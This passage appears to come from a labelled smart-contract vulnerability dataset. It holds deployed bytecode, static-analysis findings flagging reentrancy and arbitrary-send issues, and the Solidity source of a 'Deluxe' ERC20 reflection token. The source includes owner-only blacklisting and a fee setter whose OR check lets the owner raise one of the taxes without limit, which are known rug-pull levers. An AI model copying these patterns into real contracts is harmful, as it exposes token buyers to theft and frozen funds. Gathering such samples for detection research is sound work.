4565b610b61565b34801561043157600080fd5b50601954600160a81b900460ff1661023b565b34801561045057600080fd5b506102e161045f3660046126df565b610b6e565b34801561047057600080fd5b506102e161047f366004612687565b610bb8565b34801561049057600080fd5b506102e1610c0d565b3480156104a557600080fd5b506102e1610c43565b3480156104ba57600080fd5b5061023b6104c93660046125d7565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156104f357600080fd5b50610262610c91565b34801561050857600080fd5b5061026261051736600461260f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054e57600080fd5b5061023b61055d3660046125d7565b6001600160a01b031660009081526008602052604090205460ff1690565b34801561058757600080fd5b506102e1610ca9565b34801561059c57600080fd5b506102e16105ab3660046125d7565b611062565b3480156105bc57600080fd5b506102e16105cb3660046125d7565b61122d565b60006105dd3384846113f2565b5060015b92915050565b60006105f4848484611516565b610646843361064185604051806060016040528060288152602001612920602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906119d1565b6113f2565b5060019392505050565b600061065b306108e5565b905090565b6000546001600160a01b031633146106935760405162461bcd60e51b815260040161068a906127b8565b60405180910390fd5b601491909155601555565b6000546001600160a01b031633146106c85760405162461bcd60e51b815260040161068a906127b8565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156107415760405162461bcd60e51b8152602060048201526024808201527f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f756044820152633a32b91760e11b606482015260840161068a565b6001600160a01b03811660009081526008602052604090205460ff16156107aa5760405162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c69737465640000604482015260640161068a565b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6000546001600160a01b0316331461083a5760405162461bcd60e51b815260040161068a906127b8565b6019805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200160405180910390a150565b6001600160a01b0381166000908152600a60205260408120546105e190426128b4565b6016546001600160a01b0316336001600160a01b0316146108d857600080fd5b476108e281611a0b565b50565b6001600160a01b0381166000908152600260205260408120546105e190611a90565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161068a906127b8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109a55760405162461bcd60e51b815260040161068a906127b8565b6001600160a01b03811660009081526008602052604090205460ff16610a0d5760405162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000604482015260640161068a565b60005b600954811015610b5d57816001600160a01b031660098281548110610a4557634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610b4b5760098054610a70906001906128b4565b81548110610a8e57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610ac857634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600890915260409020805460ff191690556009805480610b2557634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610b55816128cb565b915050610a10565b5050565b60006105dd338484611516565b6000546001600160a01b03163314610b985760405162461bcd60e51b815260040161068a906127b8565b8015610bab576010601355600060125550565b6008601381905560125550565b6000546001600160a01b03163314610be25760405162461bcd60e51b815260040161068a906127b8565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6016546001600160a01b0316336001600160a01b031614610c2d57600080fd5b6000610c38306108e5565b90506108e281611b14565b6000546001600160a01b03163314610c6d5760405162461bcd60e51b815260040161068a906127b8565b6019805460ff60a01b1916600160a01b179055610c8c4261025861285d565b601a55565b60195460009061065b906001600160a01b03166108e5565b6000546001600160a01b03163314610cd35760405162461bcd60e51b815260040161068a906127b8565b601954600160a01b900460ff1615610d2d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161068a565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d693082670c55f7bbee0830006113f2565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906125f3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e2257600080fd5b505afa158015610e36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5a91906125f3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610ea257600080fd5b505af1158015610eb6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eda91906125f3565b601980546001600160a01b0319166001600160a01b039283161790556018541663f305d7194730610f0a816108e5565b600080610f1f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610f8257600080fd5b505af1158015610f96573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610fbb9190612738565b5050670c55f7bbee08300060145550661f946583b0300060155542600f5560195460185460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b15801561102a57600080fd5b505af115801561103e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5d91906126fb565b6000546001600160a01b0316331461108c5760405162461bcd60e51b815260040161068a906127b8565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156111045760405162461bcd60e51b815260206004820152602260248201527f57652063616e206e6f74206578636c75646520556e697377617020726f757465604482015261391760f11b606482015260840161068a565b6001600160a01b03811660009081526006602052604090205460ff161561116d5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161068a565b6001600160a01b038116600090815260026020526040902054156111c7576001600160a01b0381166000908152600260205260409020546111ad90611a90565b6001600160a01b0382166000908152600360205260409020555b6001600160a01b03166000818152600660205260408120805460ff191660019081179091556007805491820181559091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319169091179055565b6000546001600160a01b031633146112575760405162461bcd60e51b815260040161068a906127b8565b6001600160a01b03811660009081526006602052604090205460ff166112bf5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015260640161068a565b60005b600754811015610b5d57816001600160a01b0316600782815481106112f757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031614156113e05760078054611322906001906128b4565b8154811061134057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600780546001600160a01b03909216918390811061137a57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600382526040808220829055600690925220805460ff191690556007805480610b2557634e487b7160e01b600052603160045260246000fd5b806113ea816128cb565b9150506112c2565b6001600160a01b0383166114545760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161068a565b6001600160a01b0382166114b55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161068a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661157a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068a565b6001600160a01b0382166115dc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068a565b6000811161163e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161068a565b6001600160a01b03821660009081526008602052604090205460ff16156116a15760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015260640161068a565b3360009081526008602052604090205460ff16156116fb5760405162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015260640161068a565b6000546001600160a01b0384811691161480159061172757506000546001600160a01b03838116911614155b1561197457601954600160a81b900460ff16156117a757336000908152600a602052604090206002015460ff166117a75760408051606081018252600080825260208083018281526001848601818152338552600a909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6019546001600160a01b0384811691161480156117d257506018546001600160a01b03838116911614155b80156117f757506001600160a01b03821660009081526005602052604090205460ff16155b1561189157601954600160a01b900460ff166118555760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161068a565b60145481111561186457600080fd5b6000600d55601254600e55601954600160a81b900460ff16156118915742601a54111561189157605a600e555b6019546001600160a01b0383811691161480156118bc57506018546001600160a01b03848116911614155b80156118e157506001600160a01b03831660009081526005602052604090205460ff16155b15611901576015548111156118f557600080fd5b6000600d55601354600e555b600061190c306108e5565b601954909150600160b01b900460ff1615801561193757506019546001600160a01b03858116911614155b801561194c5750601954600160a01b900460ff165b156119725780156119605761196081611b14565b4780156119705761197047611a0b565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806119b657506001600160a01b03831660009081526005602052604090205460ff165b156119bf575060005b6119cb84848484611cb9565b50505050565b600081848411156119f55760405162461bcd60e51b815260040161068a9190612765565b506000611a0284866128b4565b95945050505050565b6016546001600160a01b03166108fc611a25836002611e30565b6040518115909202916000818181858888f19350505050158015611a4d573d6000803e3d6000fd5b506017546001600160a01b03166108fc611a68836002611e30565b6040518115909202916000818181858888f19350505050158015610b5d573d6000803e3d6000fd5b6000600b54821115611af75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161068a565b6000611b01611e72565b9050611b0d8382611e30565b9392505050565b6019805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611b6a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611bbe57600080fd5b505afa158015611bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bf691906125f3565b81600181518110611c1757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601854611c3d91309116846113f2565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c769085906000908690309042906004016127ed565b600060405180830381600087803b158015611c9057600080fd5b505af1158015611ca4573d6000803e3d6000fd5b50506019805460ff60b01b1916905550505050565b80611cc657611cc6611e95565b6001600160a01b03841660009081526006602052604090205460ff168015611d0757506001600160a01b03831660009081526006602052604090205460ff16155b15611d1c57611d17848484611ec3565b611e1a565b6001600160a01b03841660009081526006602052604090205460ff16158015611d5d57506001600160a01b03831660009081526006602052604090205460ff165b15611d6d57611d17848484611fe9565b6001600160a01b03841660009081526006602052604090205460ff16158015611daf57506001600160a01b03831660009081526006602052604090205460ff16155b15611dbf57611d17848484612092565b6001600160a01b03841660009081526006602052604090205460ff168015611dff57506001600160a01b03831660009081526006602052604090205460ff165b15611e0f57611d178484846120d6565b611e1a848484612092565b806119cb576119cb601054600d55601154600e55565b6000611b0d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612149565b6000806000611e7f612177565b9092509050611e8e8282611e30565b9250505090565b600d54158015611ea55750600e54155b15611eac57565b600d8054601055600e805460115560009182905555565b600080600080600080611ed587612347565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611f0790886123a4565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611f3690876123a4565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611f6590866123e6565b6001600160a01b038916600090815260026020526040902055611f8781612445565b611f91848361248f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fd691815260200190565b60405180910390a3505050505050505050565b600080600080600080611ffb87612347565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061202d90876123a4565b6001600160a01b03808b16600090815260026020908152604080832094909455918b1681526003909152205461206390846123e6565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611f6590866123e6565b6000806000806000806120a487612347565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611f3690876123a4565b6000806000806000806120e887612347565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061211a90886123a4565b6001600160a01b038a1660009081526003602090815260408083209390935560029052205461202d90876123a4565b6000818361216a5760405162461bcd60e51b815260040161068a9190612765565b506000611a028486612875565b600b546000908190670c55f7bbee083000825b60075481101561230c578260026000600784815481106121ba57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612233575081600360006007848154811061220c57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561224e575050600b5493670c55f7bbee0830009350915050565b6122a2600260006007848154811061227657634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205484906123a4565b92506122f860036000600784815481106122cc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205483906123a4565b915080612304816128cb565b91505061218a565b50600b5461232290670c55f7bbee083000611e30565b82101561233e575050600b5492670c55f7bbee08300092509050565b90939092509050565b60008060008060008060008060006123648a600d54600e546124b3565b9250925092506000612374611e72565b905060008060006123878e878787612508565b919e509c509a509598509396509194505050505091939550919395565b6000611b0d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119d1565b6000806123f3838561285d565b905083811015611b0d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161068a565b600061244f611e72565b9050600061245d8383612558565b3060009081526002602052604090205490915061247a90826123e6565b30600090815260026020526040902055505050565b600b5461249c90836123a4565b600b55600c546124ac90826123e6565b600c555050565b60008080806124cd60646124c78989612558565b90611e30565b905060006124e060646124c78a89612558565b905060006124f8826124f28b866123a4565b906123a4565b9992985090965090945050505050565b60008080806125178886612558565b905060006125258887612558565b905060006125338888612558565b90506000612545826124f286866123a4565b939b939a50919850919650505050505050565b600082612567575060006105e1565b60006125738385612895565b9050826125808583612875565b14611b0d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161068a565b6000602082840312156125e8578081fd5b8135611b0d816128fc565b600060208284031215612604578081fd5b8151611b0d816128fc565b60008060408385031215612621578081fd5b823561262c816128fc565b9150602083013561263c816128fc565b809150509250929050565b60008060006060848603121561265b578081fd5b8335612666816128fc565b92506020840135612676816128fc565b929592945050506040919091013590565b60008060408385031215612699578182fd5b82356126a4816128fc565b9150602083013561263c81612911565b600080604083850312156126c6578182fd5b82356126d1816128fc565b946020939093013593505050565b6000602082840312156126f0578081fd5b8135611b0d81612911565b60006020828403121561270c578081fd5b8151611b0d81612911565b60008060408385031215612729578182fd5b50508035926020909101359150565b60008060006060848603121561274c578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561279157858101830151858201604001528201612775565b818111156127a25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561283c5784516001600160a01b031683529383019391830191600101612817565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115612870576128706128e6565b500190565b60008261289057634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156128af576128af6128e6565b500290565b6000828210156128c6576128c66128e6565b500390565b60006000198214156128df576128df6128e6565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146108e257600080fd5b80151581146108e257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dee3633ec27c26ce9d115037c5f227bae572e0bbd90d8657acd5c03b604a1c9564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,172
0x93e353011107b45e8497b7f0aee4dbc9fd9e47c6
// File: contracts/ERC20.sol // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Deluxe is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Deluxe"; string private constant _symbol = "Deluxe"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 7; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 4; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 50000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610541578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a2a957bb146104bc578063a9059cbb146104dc578063bfd79284146104fc578063c3c8cd801461052c57600080fd5b80638f70ccf7116100d15780638f70ccf7146104665780638f9a55c01461048657806395d89b411461020957806398a5c3151461049c57600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638203f5fe146104335780638da5cb5b1461044857600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101b65780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024757600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b3a565b6105e7565b005b34801561021557600080fd5b50604080518082018252600681526544656c75786560d01b6020820152905161023e9190611bff565b60405180910390f35b34801561025357600080fd5b50610267610262366004611c54565b610686565b604051901515815260200161023e565b34801561028357600080fd5b50601354610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611c80565b61069d565b34801561030057600080fd5b506102c660175481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601454610297906001600160a01b031681565b34801561035257600080fd5b506102076103613660046